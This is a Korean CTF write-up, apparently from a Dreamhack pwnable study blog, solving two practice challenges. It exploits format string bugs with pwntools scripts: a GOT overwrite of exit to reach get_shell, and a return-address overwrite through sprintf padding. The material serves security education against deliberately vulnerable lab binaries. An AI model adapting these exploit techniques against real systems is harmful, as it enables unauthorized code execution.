두 문제 모두 간단하게 해결 가능해서 같이 기재했다.
Exercise: basic_exploitation_002
실습 환경
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
basic_exploitation_002.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
코드 분석
get_shell 함수가 보이니 목적지는 정해졌고, printf 에서 포맷스트링 버그를 일으킬 수 있는 것이 보인다. 그리고 적용 보안기법이 Partial RELRO 인걸 보니 GOT 조작이 먼저 떠오른다.
동적 분석
일단 got 랑 겟쉘 함수주소 차이를 보니 뒤에 두개만 다르고 나머진 다 같다.
임의로 AAAA 를 넣어보니 esp+4에 해당하는 첫 번째 인자에 쓰이고, 여기에서 임의로 잘 쓰면 바로 플래그를 얻을 수 있을것같다.
pie도 꺼져있겠다 바로 코드를 적어보자.
익스플로잇 코드
from pwn import *
p = process('./target')
elf = ELF('./target')
exit_got = elf.got['exit']
get_shell = elf.symbols['get_shell']
payload = fmtstr_payload(1, {exit_got: get_shell}, write_size='short')
p.sendline(payload)
p.interactive()
pwntools 에 있는 fmtstr_payload를 사용했다.
직접 계산안해도 되어서 편하게 했다. 양식은 아래에 적어두겠다.
fmtstr_payload(offset, writes, write_size='byte')offset: 몇 번째 인자부터 포맷 스트링으로 사용할지를 의미writes: 어떤 주소에 어떤 값을 쓸지 dict 형식으로 전달- 예: {0x0804a010: 0x080484b6} → 주소 0x0804a010에 0x080484b6 쓰기
write_size- byte (1바이트 단위)
- short (2바이트 단위)
- int (4바이트 단위)
바로 서버에 날려보면?
플래그가 나왔다.
Exercise: basic_exploitation_002
실습 환경
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
basic_exploitation_003.c 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
코드 분석
여기도 전 문제랑 비슷하게 get_shell 함수가 있으니 목적지는 정해져있고, 조금 다른 점은 동적 할당으로 받은 뒤에 다시 스택으로 옮기고 printf한다는 차이점이 있다.
그럼 덮어도 다시 호출되지가 않으니까 그냥 스택의 리턴 주소에 값을 덮어버리자
동적 분석
ret이 실행되기 전에 대충 브레이크를 걸고 AAAAAAAA 같은 아무 문자열을 넣어줬다.
그러고 보면 esp+0x98 에 ebp가 있고 ebp+4에 리턴 주소가 있는게 보인다.
즉 esp+0x9c에 리턴 주소가 있다는 뜻이니 그 거리만큼 길이 뒤에 get_shell 함수의 주소를 적어두면 sprintf가 알아서 복사해서 printf에게 전해줄 것이다.
익스플로잇 코드
from pwn import *
#p = process('./basic_exploitation_003')
p = remote('host3.dreamhack.games', 9104)
e = ELF('./basic_exploitation_003')
get_shell = e.symbols['get_shell']
l = 0x9c
payload = f"%{l}c".encode() + p32(get_shell)
p.sendline(payload)
p.interactive()
바로 서버에 날려보면
잘 나온다.
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Seccomp (0) | 2026.04.15 |
|---|---|
| [Pwnable Advanced] Exploit Tech: Bypass SECCOMP (0) | 2026.04.15 |
| [Pwnable Advanced] Exploit Tech: Format String Bug (0) | 2026.04.15 |
| [Pwnable] Exploit Tech: Out of bounds (0) | 2026.04.15 |
| [Pwnable] ssp_001 (0) | 2026.04.15 |